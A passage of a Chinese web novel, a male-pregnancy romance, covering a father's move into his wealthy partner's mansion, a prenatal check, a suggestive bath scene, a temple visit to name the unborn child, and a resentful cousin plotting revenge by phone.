沈望和沈妙妙两人一并走到大广福菜市场,沈望停驻在市场门口,忽然不走了。 沈妙妙问,“爸爸怎么了,很不舒服吗?” 她上网专门查过怀孕的资料,像爸爸这种怀孕初期的人,再加上频繁的孕吐,生活作息的混乱,情绪难以自控,需要耐心引导。 沈望说,“总感觉自己像做了一场极其漫长的梦。” 这梦又黑又长、又可怜又无助、又臭又辛苦。 不过他转身摸了摸女儿的头,沈妙妙的发质极好,乌黑油润,被晨光抚照时会漫散出一层金光。 我的救赎,我的希望,我的前半生。 沈妙妙被爸爸突然摸了头,心情挺开心的,抱住沈望的手臂道,“快进去吧。” 正说着,好兄弟龅牙朱和宋思聪喜滋滋地出来寻找他。 龅牙朱看见沈妙妙时眼前一亮,大喊道,“妙妙宝贝,什么时候回来的?大城市就是养人啊,怎么变得更漂亮啦!” 沈妙妙甜甜叫他一声,“朱叔叔,宋叔叔。” 听得两个老兄弟心情大好。 宋思聪挺担心沈望的,“你最近怎么了?是不是哪里不舒服,鱼店一阵子开门一阵子关门,再好的生意也会被搞臭。” 沈望不好意思说,“最近身体不太舒服,准备再干一个月,想再休息一段时间。” 两个兄弟立刻问他究竟哪里不舒服,沈妙妙帮着爸爸打圆场,“其实主要是我一个人在京城上学,爸爸总牵挂我,心里担心的事情太多了,打算暂时关了店之后,去京城陪陪我。” “嗯。”龅牙朱仿佛能理解这种幼稚的做法,“确实像你爸爸这种女儿奴能做出来的事情。” 沈望瞬间红了脸,一方面也是因为愧疚,向最好的兄弟撒谎。 可是再过两个月,他的肚子就藏不住了,到时候好兄弟会更担心,以为他是不是肚子里长出了瘤子。 宋思聪终究是要稳重一点,言道,“反正你也早计划要开饭店,趁早把铺子盘出去也不错。” 突然想起什么重要的事,“对了,你现在往出盘店正是很好的机会。” “就在昨天,听说有位大老板把大广福给收购了,而且要把房租降到了全城最低,差不多就是这两天的事情,现在已经有人挤破头想进市场租店面了。” 什么?房租要减到全城最低?这不是赔本吗? 沈望还没转过弯来,沈妙妙已经明白是谁做的好事。 可是她偏不说,哼。 九月说到及到。 沈妙妙不禁惆怅地凝视日历,淡淡地忧伤着,“开学恐怕是每一个学生难以承受的噩梦吧?” 沈望笑着拧了她的耳朵尖,“难道学霸也会有不想上学的时候?” “主要是不想把爸爸交出去嘛!” 沈妙妙坐飞机的时候还挺开心的,不过两人一下飞机,接机口远远地就看见某个焦急的身影时。 公主的微笑消失了。 鹤爵不顾形象,一把将沈望搂进怀里,其实如果女儿没有死死瞪着他的话,鹤爵也想展臂抱住女儿。 一个月不见,沈望似乎微微地圆润了一点,看来跟女儿独自相处就是不一样,连呕吐的次数也在减少。 鹤爵问怀里的人,“什么东西在顶住我?” 沈望禁不住面红耳赤,小声说,“是肚子啦。” 鹤爵想摸一把,被沈妙妙一把擎住手腕,淡淡警告道,“公众场合,鹤先生是不是应该注意一下形象?” 咳咳咳。 鹤爵说,“我们先回家吧,一切我都安排好了。” 沈妙妙自然而然地挽住爸爸的手臂,将亲昵地两人隔开,并且稍微领先鹤爵一点。 鹤爵早已将小姑娘的小心思看透。 不,应该说,沈妙妙的小计划,鹤爵忽然之间明白。 怪不得女儿偏偏要独自照顾沈望一个多月的时间。 鹤爵隐隐感受了一下沈望顶出来的肚子幅度。 沈妙妙是担心鹤爵趁爸爸还没有显怀,还能继续做点什么可耻的事情。 现在完全没机会做啦?有二宝盯着呢。 一想到小孩子终究是小孩子,何况跟萧诼也没怎么谈过恋爱,终究是稚嫩着呢。 她怎么可能真的懂男人? 第56章 你也不要太爱他啦 全京城鼎鼎大名的爵爷继续充当司机的角色, 为了家庭未来的和谐,暂时牺牲自我,感天动地。 鹤公馆四周新添置了不少花草树木,将北面的小花园改造成小桥流水的造景, 路面重新铺了一遍, 保证洁净与整洁。 沈妙妙跟沈望下车, 重新打量了一遍鹤爵的宅邸,上次来时光线昏暗, 看得不是很清晰, 这次倒是感觉蛮震撼的, 有钱人家果真财大气粗, 并不是从建筑方面体现的壮观,而是从细枝末微处透出来的精致。 以小见大。 还有一位站在庭院中迎接他们的和蔼老先生, 正悄悄地抹眼泪。 沈望担忧地问, “赵管家这是怎么了?你是不是乱骂人了?” “冤枉, 我从不骂人,只会开除人。”鹤爵抓住他的手轻声安抚,“只是真情流露而已。” 赵管家远远看着这和谐的一家三口,尤其是沈妙妙的模样, 简直就是自家少爷的翻版。 人的视觉也是一种很奇妙的存在, 若是认定了两个事物之间的联系, 便会越看越像。 上次沈妙妙跟学校辅导员进门,赵管家只是依稀觉得眼熟, 但不敢多想,避免给少爷引来误会。 这下好了。 赵管家得知少爷居然已经有了这么聪明漂亮的女儿, 而且还有第二条新生命等待降生。 除了喜极而泣,完全无法诠释他此刻的反常举动。 沈望说, “那就不要过去了,免得他尴尬。” “不过去他才会生气。”鹤爵拉着沈望走向赵管家,赵管家连忙换成排练好的微笑,言道,“沈先生的房间早已经准备好了。” “还有我们的小小姐。” 沈妙妙完全不想承认自己是鹤爵的孩子,不过她还是很有礼貌地叫了声,“谢谢赵爷爷。” 赵管家愈发绷不住眼泪了。 沈望不好意思地抱了他一下,靠近赵管家的耳畔,轻声抱歉,“以后还请您多多关照。” 沈妙妙开始细致地打量这栋三层的小别墅,总感觉内部装修换了一下风格,低调简奢的家具装饰都换成了沈望会喜欢的模样,突出了房屋的生活化,有棱角的一律换成圆角。 鹤爵先领着两人看了婴儿房,距离沈望的房间一墙之隔,内部采用柔和的橘黄色,无论是男宝女宝都很合适。 鹤爵道,“婴儿用品、床具全部等你们来,让你们俩挑选,我这边只是先装修的屋里,都是采用环保材料,平常多通风晾晒,明年二月份宝宝就能安心入住。” 鹤爵又领着人去看沈望对面的房间,面积直接大出四五倍,有学习空间,还有每个女孩子都超级喜欢的奢华衣帽间,床具是公主床,铺垫得都是鹅绒,松软得像是云彩。 不用讲,这房间应该属于谁。 沈妙妙努努嘴,“我住校。” 鹤爵道,“也不能永远住校。” 沈妙妙道,“我准备自己攒钱买一套新房。” 鹤爵道,“人永远不会嫌弃房子多,是吧?” 沈望也不敢怂恿女儿进去瞧瞧,只能转移话题说,“今天机会难得,我亲自下厨给所有人做一顿好吃的。” 鹤爵这辈子还没尝过他的手艺呢,即使不忍心让沈小望做家务,假装配合道,“我也去帮忙。” 俩人这一次倒是很有默契,跑得飞快。 沈妙妙看了眼二层的所有房间,心里肯定是满意的,毕竟全京城也只有鹤爵能给爸爸,以及未来的宝宝提供这种等级的生活条件。 沈妙妙心中小声发誓,先委屈爸爸和宝宝在这里住着,等她毕业找到工作,立刻能把俩人救出去。 沈妙妙才不稀罕看某人给他堆砌的金屋,慢悠悠转了一圈,发现鹤爵的书房门正大敞着,窗户外吹来了一阵秋风,将书桌间的东西吹乱了。 沈妙妙主动过去将窗户关上,避免初秋的凉风把书桌整个掀乱,又将翻开的部分收拾一下。 她并没有偷窥别人物品的习惯,眼神扫量地很快,收拾完就离开,走了两三步,发现地面落着一张纸。 一般她是不会随便乱看的,可是这张纸上密密麻麻的字迹,完全出自于沈望之手。 沈望的字迹简直太好认了,因为很丑。 哈哈哈。 沈妙妙小时候请爸爸在考试卷上签名,沈望每次签完,老师都会提醒沈妙妙,小孩子不要自己签字,而且你还拿了满分呀!? 认出爸爸的字,沈妙妙下意识多看了几眼,上面写着: 乐康LTZ——余朗文——余疏影 华旗银行——罗梓晨——罗兮玉 光伏制药公司——王文浩——王婷婷 隆泰电网有限公司——鹏宇——鹏美嘉 看起来完全属于华国最富有的那拨人,和家里的千金小姐。 沈妙妙将纸条重新摆回桌面,显得心思深沉。 难道说,这纸上的女生全部是大型后宫选秀名单? 鹤爵? 或有可能,毕竟鹤爵已经三十好几的老男人了,皇帝不急太监急的,鹤家怎么也得给他挑好一群来选。 沈妙妙顿时觉着这些女生好不幸,从小生活在富贵人家,到头来还是要被更有钱的挑剔。 “所以只有做人上人,才能更好地掌控命运。”沈妙妙清亮的眼神中透出一股从未有过的犀利感。 “我的命运必须得靠我自己说了算。” 下楼去找那两人,结果发现两人根本没有做饭,厨房里热辣滚滚,比同时开了十几个天然灶炉还火热。 沈望被抱在中岛台坐着,两条腿都不知该往哪里摆,只见拖鞋挂在足尖摇摇欲坠,一只早不知掉到哪里去了。 鹤爵忘情地攻占他的嘴唇,两人弄出的水声十分黏腻浓稠,彼此的气息仿佛都化作流淌的液态,击打出甜丝丝的波纹。 沈望说,“不要再亲了,女儿要下楼了。” 鹤爵道,“我们是合情合理的。” 沈望笑了笑,“可我们不是合法的。” 鹤爵道,“现在还有点时间,民政局还没关门。” 沈望抱住他的背脊,用莹润的下颌戳他的胸肌,面颊粉嫩泛红,一双秋水剪瞳泛起柔情蜜意,被高大的男人控制在无处翻身的空间内,弱小且无助。 鹤爵还要吻他,轻轻啄着沈望的唇珠。 沈妙妙佯装没看见,重新走到楼梯口,朝门外喊着,“请问厨房怎么走,房子好大,我好像有点迷路了。” 鹤爵快速将衬衫拢进西装裤,微微抚平了褶皱,还将沈望的衣服纽扣系好,遮掩住一连串的吻痕。 自欺欺人做完遮掩活动,鹤爵忽然笑了起来,淡道,“没关系,小姑娘不进来的,你不要慌张。” 沈望怎么能不慌张,他最好不意思在女儿面前丢脸,尤其是像个娇妻一样被鹤爵弄得头晕目眩。 鹤爵说,“你的体香,估计妙妙早已经闻到了。刚刚应该很浓烈。” 女儿只是在提出抗议。 沈望发觉沈妙妙说完这句话,确实没有走进来的意思,而是转身去了花园。 不由放松口气,拉起鹤爵的手腕狠狠咬了一口。 鹤爵像是不知疼痛为何物,叮嘱他,“你慢点咬,女儿走了之后,让你狠狠咬。” 晚餐吃得很丰富,沈望在厨房里狠狠操作了一把 咳咳咳。 赵管家也被邀请上了餐桌,几个人难得地围坐在一起,鹤爵还将酒窖中珍藏品取出来两瓶。 沈妙妙用筷子夹起一片新鲜翠绿的笋片,观察了两眼,又放在鼻子间详细地闻了一下,挑眉看向鹤爵,“这菜里没有什么乱七八糟的东西吧?” 鹤爵微微藏起了贴满OK绷的右手,言道,“你爸爸亲自掌得勺,很好吃的。” 说着还示范性自己尝了一口菜,脸上流露出非同凡响的表情。 毕竟是第一次尝到老婆做的菜,好吃。 沈望道,“放心吧,他只负责切菜,我负责烹饪,味道很好的。” 说着自己也尝了一口,下一秒抽出餐巾纸,连忙吐在纸巾上扔掉。 鹤爵以为他要孕吐,过来帮他递水。 沈望借机跟他咬耳朵,“不是叫你放一勺盐吗?你为什么放糖?” 糖吗? 鹤爵道,“我可能拿错了。” 沈妙妙露出一脸的了然,将笋片包进餐巾纸再悄无声息地丢掉。 鹤爵道,“没关系,我没有味觉,这菜我自己吃。” 而后,将甜到要命的清炒笋片拨进自己碗中。 晚上七点的时候,私人医院的张院长带着产科专家,专程来替沈望做产检。 沈望问鹤爵,“你要不要顺便测个血糖?” 鹤爵笑说,“我的肾功能很好,谢谢。” 又说,“这下子,你就不用专门穿女装去做产检了,我还有点怪想念的。” “想念什么?”沈望换成方便穿脱的家居服,一脸迷茫地看向某人。 “你穿裙子的迷人样子。”鹤爵道,“妙妙那屋子里全部是进口高定女装。” 沈望立刻啐他,“你敢?我跟你拼命!” 沈望躺在B超仪之下,全家人都围过来看显示屏间的状况。 妇科专家指了一下黑黢黢的屏幕中央,一边详细讲解着,“这是头部,这是腿,这是手。” 胎儿发育得非常棒,能看见脊背处的小脊柱整齐得排列成一条清晰的线段。 沈妙妙道,“我家二宝终于不再是小黄豆芽了嘛,看起来跟我长得还蛮像的。” 鹤爵握住沈望的手,这也是他第一次直观地看到新生命的变化过程,内心充斥着无限敬畏与感动。 想当初他还建议打掉孩子,这件事绝对不能再提,让它沉下去变成秘密。 家里已经有一个女儿讨厌他了,假如再来一个,鹤爵可承受不起啦。 检查结束,沈妙妙扶沈望去花园转一圈散步。 张院长终于逮到机会,朝鹤爵表明了态度,“三少爷那边我完全没有走漏一点风声,尤其沈先生现在怀孕的情况,来得所有人更是签署了保密协议。” 三少爷就是鹤爵的三哥——鹤慈,这间私人医院是鹤慈开的,鹤爵也入了点股。 “三少爷还是很关心您哪,爵爷,他知道错了,每天都在懊悔中度过。” 三哥知道个屁。 鹤爵道,“好,我知道了。” 医院的一行人走了,沈妙妙不愿在鹤公馆住,执意要回宿舍休息。 沈望送她出门口,担心宿舍经过一个假期该落不少灰。 沈妙妙笑说,“放心吧,夏璇已经帮我收拾干净了。” 又道,“我每隔一段时间都会来看你跟二宝,你们在这边好好吃鹤爵的,不用跟他客气。” 沈望听见女儿直呼鹤爵大名,不禁担心这两人的关系更上一层霜。 沈妙妙突然抱住沈望,有点委屈道,“爸爸,你也不要太爱他了啊。” 多心疼心疼自己,好好吃饭,好好睡觉,不要再流泪,也不要再晕倒了。 沈望理解错了意思,也抱住女儿宽慰道,“宝贝,我最爱你。” 第57章 第二只小猫 沈妙妙前脚刚走不到半小时, 鹤爵示意家里的佣人们可以先去休息了。 沈望回来之前,家里的佣人全部签了保密条约,不过一多半的人转移去打理鹤爵的其他房产,留下的人并不是很多, 保持在可控范围之内。 赵管家领着人一走, 鹤爵便缠过来问, “今晚打算怎么睡?” 什么怎么睡? 沈望打算找一件事情,来转移对方的注意力, 发现餐桌早已经被佣人收拾干净, 地面清理得光可鉴人, 屋子内纤尘不染, 最可恨得连盆栽的水都浇了。 只好说,“鹤爵, 你的佛珠呢?怎么好久不见你拿着它?” 你有空也多念念清心咒啊~ 鹤爵哦了一声, 直接抱起沈望说, “你打算先跟我洗澡,然后再一起睡,Good Choice 。” 唔。 沈望喊道,“你说的每一个字都跟我讲的不一样!” 那就不用多说了。 鹤爵给人放进浴缸中央, 自己也大步迈了进去, 单手随便一挑加水器, 俯身跟沈望吻作一团。 沈望逐渐感觉自己被温热的水流冲刷着身体,从脚趾到腰肌, 再到因紧张而弓起的蝴蝶骨,而后是高高扬起的脖颈。 水位线越来越高, 将他整个人托浮而起。 沈望轻颤着说,“鹤爵, 你把衣服也脱掉吧。” 对方回应,“遵命。” 鹤爵搂住蜷缩在身边的沈望,两人一起沉淀在满溢着泡沫的浴缸中,入水口一直源源不断地注入温水,适宜的温度和宽阔的怀抱,弄得人心里麻麻痒痒的。 沈望用手指小心地划拨着鹤爵胸口的旧伤伤痕。 他之前怕极了这些创伤,如今只想更多地帮鹤爵抚平它们。 沈望的五官明艳绝丽,嘴唇因为过度的接吻微微泛着点肿,头发湿漉漉地沾在面颊两侧,仿佛刚从海中浮出的海妖,一点点地撩拨着成熟男性那点岌岌可危的自制力。 鹤爵问,“跟妙妙在家的时候,每天怎么洗澡?” 沈望懒洋洋地伸直了腿,“广城那边的天气闷热,每天稍微动一下就会出汗,随便站在淋浴器下冲一阵就可以了。” 他正狐疑鹤爵为什么问这些小事。 鹤爵已经逐渐露出狼尾巴道,“那老公给你今天好好做个全面清理。”说着,嘴巴沿着沈望的脖颈不停地摩擦起来。 沈望只得双手紧紧攀附在他的肩膀,避免自己坐不稳,滑进浴缸里去呛水。 说来好笑,沈望的出生地是北方,属于天生的旱鸭子,即使后来辗转到了广城做生意,也没有时间去学习游泳。 人天生对水是充满敬畏之心的。 鹤爵这么明目张胆地欺负他,只能用自己的手来寻找平衡,转而伸出右手,紧紧抠住浴缸边沿,泛起粉的甲片不停在陶瓷间打滑。 鹤爵拨了拨他的心口,盯着沾了白色泡沫的红尖儿,问他,“这里每天不好好做清洁的话,将来二宝也会嫌弃的吧?” 沈望小声说着,我不能喂小孩子的,我没有。 其实他是撒谎,沈妙妙是吃什么长大的,他心里最清楚不过。 鹤爵认认真真地清理了很久,临了还故意咬住沈望滴血的耳畔说,“我的味觉好像有点恢复了。” “怎么是甜丝丝的感觉?” “不行,我再体会一下。” 沈望被他从水里裹住抱出来,已经是一个多小时后的事情。 鹤爵吩咐佣人提前铺了鹅绒垫子,沈望酥软的四肢百骸刚放上去,便沉甸甸地在云朵中央进去,显出一抹妖娆的身影。 鹤爵也爬过来,抱住他微微突出的腹部亲了一口,将嘴唇贴近雪白的皮肤,讲了一句,“里面的小宝宝,想不想现在立刻跟爸爸见个面?” 沈望简直怕了他,颤抖着手臂将人勾了过来,朝一脸坏笑的某人软道,“你正经一点,注意宝宝现在是有听觉的,你不要把它带坏了。” “那不可能,我很小心的。” 鹤爵说着又亲了一口沈望的肚皮,下一秒两人如同两条滑溜溜的白蛇一般,彼此交缠到难以分离的程度。 鹤爵刚准备要跟小宝宝亲密接触,沈望的腹部中央,忽然鼓起来一个圆溜溜的小凸起。 沈望提高音量叫道,“你不要乱动!” 鹤爵立刻举起双手,“不是我,是二宝。” 沈望连忙微微侧了身,鼓起的腹部间那一个小圆包忽然移动了起来,如同鱼叼莲花转眼消失不见。 猛地,又在沈望的肚子里跳了跳,这次是很明显的胎动,绝对不是双眸产生的错觉。 沈望立刻想起沈妙妙的胎动也差不多是在同样的月份,胎动早通常是一个好兆头,表明胎儿在子.宫内的发育情况可能较好。 沈望也总从老人嘴里听说,怀女孩儿的话胎动就是要早一点,因为女孩天生灵巧。 沈望用柔软地手摸了摸二宝,像是抚平二宝的不高兴,轻声道,“不要气你爸爸,他只是太想早点看见你啦。” 二宝仿佛能听懂他的话,又乖乖去睡觉,再不跳来跳去了。 沈望将手转向鹤爵,也摸了摸他道,“你也乖乖忍一下,生完二宝再好好喂你,嗯?” 鹤爵趴在他怀里,有点不开心说,“现在这个家,只有老婆肯和我好。” 沈望噗嗤笑了,“孩子们会跟你熟悉起来的,就像你自己不也才做了几天爸爸,怎么可能一下子能做得跟我一样好?” 鹤爵同样笑了,“只有这一点我完全比不上你,拍马不及,好气呀。” 第二天鹤爵从外面搬运回来一个崭新的木质婴儿床,全程由他亲自搬运,完全没有借用他人之手。 沈望还挺奇怪的,“不是讲要让我和妙妙去选婴儿用品吗?” 鹤爵的理由是,“据说这个婴儿床是特殊木材磨制的纯手工品,散发天然香气,小宝宝睡在里面特别安心,像是睡在妈妈的肚子里一样,晚上不会起夜闹脾气,这样你也能睡个好觉。” 当然,价位也十分昂贵,木材据说是南太平洋岛的特殊树种,颇受当地土著岛民的青睐。 沈望觉得他是乱花钱,即使如此,他还是帮着鹤爵将婴儿床组装出来,小小的一张,造价就要十几万软妹币。 沈望:“其实你根本不用买这么好的婴儿床,小孩子长得特别快,一眨眼的功夫而已,就要换成更大的床睡觉了。” 鹤爵却觉得物有所值。 沈望又说,“其实我的体香很能安抚小宝宝的,妙妙小时候从不闹觉,我每天干活很累的,可是只要抱着她睡,妙妙总是能睡得很香甜。” 鹤爵说,“难怪你抱着我睡觉的时候,我也睡得很香甜。” 沈望:“你要是一直跟孩子们争宠的话,恐怕很难得到孩子们的信任。” 鹤爵道,“那我只要老婆。” 到了周日,沈妙妙抽空过来探望沈望,鹤爵这边已经备好了车子,说一起去寺庙里替二宝求个好名字。 其实是借口带两人出门兜风,培养亲子间缺失的感情。 沈望趁沈妙妙不注意,故意凑到鹤爵身边挑衅他问,“不是说只想要我一个人的吗?” 鹤爵在他屁股上拍了一把,意外手感不错,“成年人才不做选择,肯定是全要了!” 赵管家负责开车,沈望则坐在后排中间,被鹤爵与沈妙妙夹住,跟女儿聊十几句,还得再应付鹤爵几句。 鹤爵倒是没怎么抢着说话,他安静地听沈妙妙讲学校的事,小时候的事情,一点一滴地积累着与女儿错过的点滴。 沈妙妙道,“我开学是大三,明年则需要到公司实习,辅导员已经帮我联系了四五家外企公司,我觉得还需要慎重考虑一下。” 鹤爵轻咳一声,“经纬是一家不错的公司,可以考虑一下。” 沈妙妙道,“我学的是汉语言文学,不可能直接对应公司的核心部门,只想在实习公司里平平稳稳地学习点以后能切实用到的,提升专业技能,顺便学习一下如何在职场中与人有效沟通。” “我觉得你很有眼色,头脑也聪明,这些东西完全不用学,浪费时间。” 沈妙妙道,“可能鹤先生毕业后直接上位,成为一名成功的掌权人,但我的节奏是怎么样能比其他人更快地适应新环境,并且创造我自己的独特价值。” 沈妙妙:“(﹁﹁)~→” 鹤爵:“←( ̄_ ̄)” 沈望哎呦了一声。 鹤爵与沈妙妙同时问他,“怎么了?哪里不舒服?” 沈望冲两人笑说,“没什么,是二宝刚才踢了我一脚,超有劲儿的。” 鹤爵不禁笑着抚摸他的腹部,“真是个小调皮,搞不好生出来比姐姐还不听话呢。” 沈妙妙也显得格外开心,抱住沈望的肩膀,亲昵地蹭着爸爸说,“调皮才好呢,说明思维活跃,不古板、呆滞、木讷,一意孤行。” 到了京城最为著名的寺庙广岩寺,庙门宏伟雄阔,远远地便能看见香火缭绕,直冲云巅,往来之人虔诚信念,出入如同鱼群穿梭。 鹤爵安抚沈望道,“附近的风景不错,赵管家会带你去四周转转,寺庙里的香火味含有麝香,味道呛人,不适合你现在进去。” 沈望倒是不怎么信这个,不过鹤爵是商界巨贾,不得不信。 尤其镇压他暴戾气质的佛珠,也是追求心灵净化的一种证明。 鹤爵与沈妙妙一并走进广岩寺,沿路讲了许多寺庙间发生的奇闻异事,以及这座寺庙历经百年浩劫,依然屹立不动的漫长历史,这次沈妙妙倒没对他牙尖嘴利,乖乖听得挺认真。 鹤爵虽然不是一个合格的父亲,但他的胆魄与阅历,确实是一位难得的引路者,或者说是人生导师。 沈妙妙听得有些入迷,鹤爵给她指了几个方向,清楚说明里面供的佛祖专门庇佑什么,虔诚则灵,要沈妙妙自己去心之所至。 沈妙妙给沈望求了一道平安符,也给二宝求了一道,两道符装进精致的小锦囊中,只要挂进脖子里就好,一点也不麻烦的。 沈妙妙忽然听到来往的游客说,庙里的洪恩大师今天居然做法事,洪恩大师是得道高僧,一般很少见到这种盛况的,纷纷涌过去要看热闹。 可惜这场私人法事并不允许对外展示,大家兴冲冲地过来,又败兴地离开。 据闻这场法事早预订了很久,一般普通老板姓是根本请不到洪恩大师亲自主持。 被严密关起来的寺庙一角很快地响起浩浩荡荡的声响,诵经声、念咒声、舞蹈声、奏乐声连声一片,洪亮的钟声时而贯穿其中,从红墙青瓦将涌出的白烟滚滚而来,眨眼弥漫了一半的天幕。 不少人又被这夸张的阵仗吸引过来,扒住门缝朝里使劲张望个不停。 沈妙妙半晌找不见鹤爵,被来来往往的人一宣传,冥冥中感觉这个能求到高僧作法的人,一定是她那个有钱的冤家。 沈妙妙则更机灵一点,趁所有人扒在朱红大门前偷窥,她则绕去了偏远的侧墙,爬到墙头胡乱看了两眼。 庙中云雾缭绕,烟火纷飞,既呛人又喧闹,鹤爵精赤着上半身跪在蒲垫间,双手合十虔诚无我,手里紧攥着那串早见过的翡翠佛珠,嘴里低声默念着什么。 高僧洪恩拿着净瓶柳枝,往鹤爵身上掸水,口中默念大悲咒。 沈妙妙依稀看见鹤爵身上参差不齐的伤痕,心底隐隐不是滋味。 后来因为她的臂力有限,很快便放弃继续偷窥,拍拍双手和裤子间的浮尘,决定还是先自己再去转转。 这场法事做得很久,大约一个小时左右。 沈妙妙耐心在门口等待,鹤爵才收拾整齐,被寺庙中的沙弥们恭敬地送了出来。 沈妙妙感觉鹤爵隐约有点不一样,像是真的被坛场里的法事清净一般,步履轻松,人也祥和平静,甚至自带风清气朗的宁静感。 “他不会是要出家当和尚去吧?” 沈妙妙走过去,道一声,“鹤先生,你害得我等了好久。” 鹤爵回头看见她,有点惊讶道,“我以为你已经去找你爸爸了,怎么,在这里等我?” 说完他就微微散出些笑意,看得沈妙妙内心极为不爽。 沈妙妙闻了闻他浑身的气味,浓郁的烧纸味儿,不禁嘀咕说,“我其实看见了。” “看见什么?”鹤爵系了一下袖扣,但却放松了领口间的纽扣。 “你浑身是旧伤,”沈妙妙凑过去,“是因为做了什么坏事,让里面的高僧打得吗?” 坏事?打得? “对,”鹤爵居然主动承认,“我确实做过一些很坏的事情,但我做得时候很爽快,一点也不觉得难过。” 不过。 “我的孩子都是好孩子,从来不必知道这人世间的险恶,以后也该平平安安、健健康康的。” 鹤爵对沈妙妙招手,“二宝的名字已经求到了,是一个很好听的名字,你要不要瞧瞧。” 说着,鹤爵从随身携带的锦囊中取出一张红艳艳的纸,专门递给沈妙妙看了一眼。 沈妙妙跟他一起看向红纸中央,字面先是讲了名字的吉祥寓意,又写了名字的来源出处。 沈妙妙很认真地读着二宝的名字,“沈淼淼?” 对,我们家的第二只小猫咪。 沈妙妙有点不理解,“你居然会让二宝跟爸爸姓?” 她还以为二宝必须得姓鹤呢,尤其越是传统的豪门大户,更是注重姓氏的开枝散叶、血脉延续。 沈妙妙都已经做好准备,无论用什么手段,都要抢到二宝的冠名权! 鹤爵道,“我觉得你一定想让二宝姓沈,我也很希望它跟你一起姓沈。” 他突然将靠近身边的小姑娘摸了一下,他还没有机会很好地抚摸过女儿的头顶呢。 “高兴吗?” 沈妙妙立刻呈现出防御姿势,远离他半步,还不停地抖一抖被宽厚大手碰触过的发丝。 “你这个名字起得完全像是女孩子的,万一二宝是男生怎么办?” 鹤爵说,“淼淼也很适合男孩子,你们一个妙妙,一个淼淼,都是我和爸爸的心头肉。” 说着,鹤爵从裤兜里取出一枚挂着平安福囊的白金项链,二话不说给沈妙妙套进脖子里。 “所以,换我给你送一点小礼物,你应该不是很讨厌了吧?” 沈妙妙确实有点生气,脸颊气鼓鼓的,总感觉面前这个男人真的很不好应付,总是出其不意的。 她最不喜欢鹤爵总能准确无误地猜透她的想法,轻易掌控全场。 不过,她倒是没有将平安福囊取下来。 她给爸爸、二宝都去求了平安符,唯独没有给自己求。 姓鹤的好像她肚子里的蛔虫似的,直接给她也求了一个。 沈妙妙抓住胸口的福袋,一句谢谢憋了半天,总是很难讲出口的。 鹤爵疑惑道,“怎么?不喜欢求平安?那不然我帮你换成考试必过的怎么样?听说你马上要考BEC了,给你加油。” 语毕,笑着转身往前走。 沈妙妙气坏了,跟在他后面小跑着反驳。 “你是魔鬼吗!!” “我才不需要考试必过的符呢,我学习超级好的。” 第58章 男妲己 沈望在赵管家的陪同下, 两人一并在广岩寺附近散步,居于寺庙后方有不少的商业街区。 俗话说:庙前贫庙后富,庙的左右多孤寡。 因为庙宇在风水上属于“镇物”,修建的庙宇一般会位于所谓“形煞”的位置, 据说是为了接通神人鬼三途, 而庙宇是人们朝拜的地方。朝拜者面朝佛像跪拜的方向, 是舍钱的;而建在后面的房屋,则是在接受朝拜, 是纳福的。 商业街建立在庙宇后面简直占尽了天时地利人和, 好像是人人将钱朝一个方向送的一样。 沈望一般也不怎么喜欢逛街, 这是所有男人的通病, 对于花钱的事情不怎么上心,但他有很强的赚钱欲.望, 所以看见商业街面车水马龙, 好像挺赚钱的样子, 心里的小算盘打得劈啪作响。 他现在只是因为怀孕了,才需要依靠鹤爵的照料,等肚子里的二宝一卸货,他也要继续将生意做起来。 广城的店铺已经全部盘出去了, 以后的生意可以安顿在京城这边。 当然, 广城的老兄弟们绝对不能断掉联系, 有可能的话,他还想拉着大家伙一起发家致富。 沈望让赵管家打听了一下这边的门面, 大抵上需要多少钱才能租到。 赵管家完全不用打听,直接告诉他, 50-80万的租金可以租到100平米左右的门面。 这种事情赵管家最熟悉了,鹤爵手里的不动产基本都是他在打理, 好地方的门面房租金确实很高,鹤爵在商业街的几家面店一个月的租金都是按照百万级别算账的。 沈望瞬间枯萎了,要知道他把妙妙精品鱼店盘出去,总共才收回来11万,在寸土寸金的京城,恐怕连块地砖都租不到。 他正在惊讶于耳朵所听到的天文数字,一个身穿廉价运动服的沧桑男人带着一个妙龄少女,两人像是正在争吵,与沈望相遇时,不小心撞了沈望的肩膀。 “当心。”赵管家快速将沈望稳住,沈望则关心道,“我没关系,赵叔你也小心一点。” “你这个人走路都不看前面的吗?!”沧桑男人面露不快,连带着他身边的女生也一脸不满。 沈望一向不是个主动寻事的人,言道,“抱歉,我刚才没有注意你。” 对方像是终于认真撩了他一眼,从漫不经心的模样,转而变成瞪大双眸,再看清楚时恨不能将沈望活生生地从壳子里剥出来。 “望哥?是你吗?” 沈望也在第二眼中看出来对方是谁,连忙扭头道,“不好意思,你看错人了。” 对方一把扯住沈望的手臂,不依不饶说,“怎么可能呢?望哥,我是孟瑜啊,你的姑姑是我母亲,我是你至亲的表弟啊!” 沈望内心想着京城真是小,怎么越是不想碰见的人,越要碰见,连声道,“你真的认错人了,我不认识你。” 赵管家一瞧,忍不住拨开孟瑜,义正言辞道,“我家先生已经表明不认识你了,假如再纠缠个没完没了的,我会立刻报警。” 孟瑜连忙将手松开,对别过头的沈望抱歉,“对不住啊对不住,我可能眼花认错人了,你好走先。” 沈望这辈子最不想看见的人便是他,抬起脚走得飞快,一整天的好心情彻底烟消云散。 孟瑜转身后,他的女儿孟小雨紧跟着爸爸,禁不住好奇问,“那是谁?爸爸你认识吗?” “认识啊,化成灰都认识,”孟瑜想起当年的点点滴滴,对沈望的恨意中,不由增加了不少鄙视的成分。 都是因为沈望,才害得他的父母之间产生罅隙,最终选择离婚收场。也正是因为沈望的存在,才使得自己和孩子一辈子过着猪狗不如的普通生活! 呸,贱人居然混得还挺好! 孟瑜越想越生气,掏出手机从里面不停翻找,最终找到了一个收藏许久,一直不曾打开的电话号码。 忙音接通之后,对里面慵懒的声音发出警告道,“你知道我今天看见谁了?!是沈望那个小垃圾!他现在混得可好了,出门还有专人保护!” 电话那头的慵懒声音陡然一转,言道,“沈望是谁?我对这个名字已经不是很熟悉了。” 孟瑜内心啐一声妈的,“就是你当年利用我,给他传假消息,说鹤爵有个青梅竹马叫白寒书,才拿他做替身的家伙” “白寒书,你总认识吧!” 对方原本像一只百无聊赖的狮子,但在听到白寒书的名字时,陡然提高音量,冲着电话朗声道,“你有什么资格提白寒书的名字?!难道鹤爵没有找人打歪你的嘴!” 不提还不生气。 孟瑜道,“总之我根本不想跟你再扯上关系,但是这个沈望又回到京城了,当年鹤爵最宝贝的也不过是这个人,假如你想替白寒书报仇的话,找他是肯定没有问题的。” 切。 电话那头的人道,“白寒书都死了快十年,鹤爵如今又是京城一霸,我即使想报仇,恐怕根本不是对手。” 